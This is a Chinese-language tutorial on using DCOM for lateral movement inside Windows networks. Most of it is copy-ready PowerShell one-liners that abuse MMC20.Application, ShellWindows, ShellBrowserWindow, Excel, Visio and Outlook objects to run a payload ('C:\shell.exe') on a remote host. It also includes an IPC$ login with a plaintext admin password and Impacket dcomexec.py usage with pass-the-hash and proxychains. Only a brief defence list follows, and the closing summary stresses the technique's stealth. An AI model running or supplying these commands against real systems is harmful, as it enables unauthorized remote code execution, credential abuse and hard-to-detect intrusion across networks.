如何利用 DCOM 进行内网横向渗透
字数 1019 2025-08-05 08:18:04
利用DCOM进行内网横向渗透技术详解
一、COM与DCOM基础概念
1.1 COM组件对象模型
- 定义:COM(Component Object Model)是基于Windows平台的组件对象接口标准
- 特点:
- 由一组构造规范和组件对象库组成
- 是许多微软产品和技术的基础(如Windows媒体播放器、Windows Server)
- 组件对象通过接口(而非方法)描述自身,接口是一组函数指针表
1.2 DCOM分布式组件对象模型
- 定义:DCOM是COM的扩展,支持不同机器上组件间的通信
- 工作原理:
- 使用RPC(远程过程调用)技术扩展COM功能
- 允许应用程序实例化和访问远程计算机上COM对象的属性和方法
- 攻击利用价值:
- 远程执行的进程会托管在COM服务器端软件中(如explorer.exe)
- 增强隐蔽性,难以全面监测
二、本地DCOM命令执行
2.1 获取DCOM程序列表
# PowerShell 3.0+ (Win Server 2012+)
Get-CimInstance Win32_DCOMApplication
# PowerShell 2.0 (Win7/Win Server 2008)
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication
2.2 利用MMC20.Application执行命令
# 创建MMC20.Application实例
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "127.0.0.1"))
# 枚举方法和属性
$com.Document.ActiveView | Get-Member
# 执行命令(启动计算器)
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe', $null, "/c calc.exe", "Minimized")
三、远程DCOM横向渗透
3.1 前提条件
- 具有管理员权限的PowerShell
- 可能需要关闭目标防火墙
- 使用域管账户或目标主机管理员权限账户
3.2 利用MMC20.Application远程执行
# 建立IPC连接
net use \\192.168.52.138\ipc$ "Liu78963" /user:Administrator
# 创建远程实例并执行
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "192.168.52.138"))
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe', $null, "/c C:\shell.exe", "Minimized")
# 单行命令
[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "192.168.52.138")).Document.ActiveView.ExecuteShellCommand('cmd.exe', $null, "/c C:\shell.exe", "Minimized")
3.3 利用ShellWindows远程执行
$com = [Activator]::CreateInstance([Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39', "192.168.52.138"))
$com.item().Document.Application.ShellExecute("cmd.exe", "/c C:\shell.exe", "c:\windows\system32", $null, 0)
# 单行命令
[Activator]::CreateInstance([Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39', "192.168.52.138")).item().Document.Application.ShellExecute("cmd.exe", "/c C:\shell.exe", "c:\windows\system32", $null, 0)
3.4 其他可利用的DCOM对象
Excel.Application
$com = [activator]::CreateInstance([type]::GetTypeFromprogID("Excel.Application", "192.168.52.138"))
$com.DisplayAlerts = $false
$com.DDEInitiate("cmd.exe", "/c C:\shell.exe")
ShellBrowserWindow (Win10/Win Server 2012 R2+)
[activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880", "192.168.52.138")).Document.Application.shellExecute("C:\shell.exe")
Visio.Application (需安装Visio)
[activator]::CreateInstance([type]::GetTypeFromProgID("Visio.Application", "192.168.52.138")).[0].Document.Application.shellExecute("C:\shell.exe")
Outlook.Application (需安装Outlook)
[activator]::CreateInstance([type]::GetTypeFromProgID("Outlook.Application", "192.168.52.138")).createObject("Shell.Application").shellExecute("C:\shell.exe")
四、Impacket工具利用
4.1 dcomexec.py使用
支持MMC20.Application、ShellWindows和ShellBrowserWindow对象
# 获取交互式shell
./dcomexec.py domain/username:password@ip
# 执行单条命令
./dcomexec.py domain/username:password@ip <command>
# 使用哈希认证
./dcomexec.py administrator:@192.168.52.143 whoami -hashes aad3b435b51404eeaad3b435b51404ee:d8f69f9520b448174136e49a1051ef07
4.2 通过代理执行
proxychains4 python3 ./dcomexec.py god/administrator:Liu78963@192.168.10.20
五、防御措施
- 启用域防火墙:默认会阻止DCOM对象实例化
- 加固防火墙配置:防止攻击者远程篡改或关闭防火墙
- 监控DCOM活动:特别关注异常进程创建行为
- 最小权限原则:限制管理员账户使用范围
六、技术特点总结
- 隐蔽性强:进程托管在合法系统进程中(如explorer.exe)
- 无需IPC连接:部分方法不需要事先建立IPC连接
- 广泛适用性:适用于Win7-Win10、Win Server 2008-2016
- 多样化利用:多种DCOM对象可利用,增加防御难度